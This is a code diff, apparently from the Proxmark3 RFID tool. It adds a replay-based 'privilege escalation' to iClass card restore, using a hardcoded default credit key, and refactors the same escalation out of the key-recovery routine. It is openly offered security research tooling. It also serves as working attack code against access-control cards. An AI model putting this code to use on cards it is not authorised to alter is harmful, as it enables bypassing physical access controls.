diff --git a/CHANGELOG.md b/CHANGELOG.md index 6c4b03df4..4c1083e3d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `hf iclass restore` - it now supports privilege escalation to restore card content using replay (@antiklesys) - Fixed `hf 15 dump` - now reads sysinfo response correct (@iceman1001) - Changed `make clean` - it now removes all __pycache__ folders (@iceman1001) - Fixed `hf 15 readmulti` - fix block calculations (@iceman1001) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 5a4466567..a0f2f7ebd 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2552,7 +2552,38 @@ out: } } +static bool do_privilege_escalation(uint8_t *read_check_cc, size_t cc_len, uint32_t *eof_time){ + uint16_t resp_len = 0; + int res2; + uint8_t resp[10] = {0}; + int priv_esc_tries = 0; + bool priv_esc = false; + uint32_t start_time = 0; + while (!priv_esc) { + //The privilege escalation is done with a readcheck and not just a normal read! + start_time = *eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, cc_len, &start_time, eof_time, false); + // expect a 8-byte response here + res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, eof_time, false, true, &resp_len); + if (res2 != PM3_SUCCESS || resp_len != 8) { + priv_esc_tries++; + } else { + return true; + } + if (priv_esc_tries == 5) { + DbpString(""); + DbpString(_RED_("Unable to complete privilege escalation! Stopping.")); + return false; + } + } + return false; +} + void iClass_Restore(iclass_restore_req_t *msg) { + bool priv_esc = false; + uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; + uint8_t credit_key[8] = {0xFD, 0xCB, 0x5A, 0x52, 0xEA, 0x8F, 0x30, 0x90}; + uint8_t div_cc[8] = {0}; // sanitation if (msg == NULL) { @@ -2581,7 +2612,9 @@ void iClass_Restore(iclass_restore_req_t *msg) { if (res == false) { goto out; } + iclass_calc_div_key((uint8_t *)&hdr.csn, credit_key, div_cc, false); + read_check_cc[1] = ((uint8_t *)&hdr.conf)[0] + 1; //first block of AA2 // authenticate uint8_t mac[4] = {0}; uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; @@ -2594,6 +2627,13 @@ void iClass_Restore(iclass_restore_req_t *msg) { } } + if(msg->req.use_replay){ + priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time); + if (!priv_esc){ + goto out; + } + } + // main loop bool use_mac; for (uint8_t i = 0; i < msg->item_cnt; i++) { @@ -2611,10 +2651,13 @@ void iClass_Restore(iclass_restore_req_t *msg) { wb[0] = item.blockno; memcpy(wb + 1, item.data, 8); - if (msg->req.use_credit_key) + if (msg->req.use_credit_key){ doMAC_N(wb, sizeof(wb), hdr.key_c, mac); - else + }else if (msg->req.use_replay){ + doMAC_N(wb, sizeof(wb), div_cc, mac); + }else{ doMAC_N(wb, sizeof(wb), hdr.key_d, mac); + } } // data + mac @@ -2767,11 +2810,8 @@ void iClass_Recover(iclass_recover_req_t *msg) { while (bits_found == -1) { reinit_tentatives = 0; - int res2; - uint8_t resp[10] = {0}; uint8_t mac2[4] = {0}; res = false; - uint16_t resp_len = 0; if (BUTTON_PRESS() || loops > msg->loop) { if (loops > msg->loop) { @@ -2827,25 +2867,15 @@ void iClass_Recover(iclass_recover_req_t *msg) { } //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 - int priv_esc_tries = 0; - while (!priv_esc) { - //The privilege escalation is done with a readcheck and not just a normal read! - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); - // expect a 8-byte response here - res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res2 != PM3_SUCCESS || resp_len != 8) { - priv_esc_tries++; - } else { - status_message = 3; //privilege escalation successful - priv_esc = true; - } - if (priv_esc_tries == 5) { - DbpString(""); - DbpString(_RED_("Unable to complete privilege escalation! Stopping.")); + if(!priv_esc){ + priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time); + if (priv_esc){ + status_message = 3; + }else{ goto out; } } + if (priv_esc && status_message != 3) { start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); @@ -2882,6 +2912,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { bool write_error = false; while (written == false && write_error == false) { //Step5 Perform Write + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time, short_delay)) { status_message = 4; //wrote new key on the card - unverified } diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 880cea140..b4d32ef6f 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -2569,6 +2569,7 @@ static int CmdHFiClassRestore(const char *Cmd) { arg_lit0(NULL, "raw", "no computations applied to key"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0(NULL, "nr", "replay of nr mac with privilege escalation"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2619,6 +2620,7 @@ static int CmdHFiClassRestore(const char *Cmd) { bool rawkey = arg_get_lit(ctx, 8); bool verbose = arg_get_lit(ctx, 9); bool shallow_mod = arg_get_lit(ctx, 10); + bool use_replay = arg_get_lit(ctx, 11); CLIParserFree(ctx); @@ -2665,7 +2667,7 @@ static int CmdHFiClassRestore(const char *Cmd) { payload->req.use_raw = rawkey; payload->req.use_elite = elite; payload->req.use_credit_key = use_credit_key; - payload->req.use_replay = false; + payload->req.use_replay = use_replay; payload->req.blockno = startblock; payload->req.send_reply = true; payload->req.do_auth = true;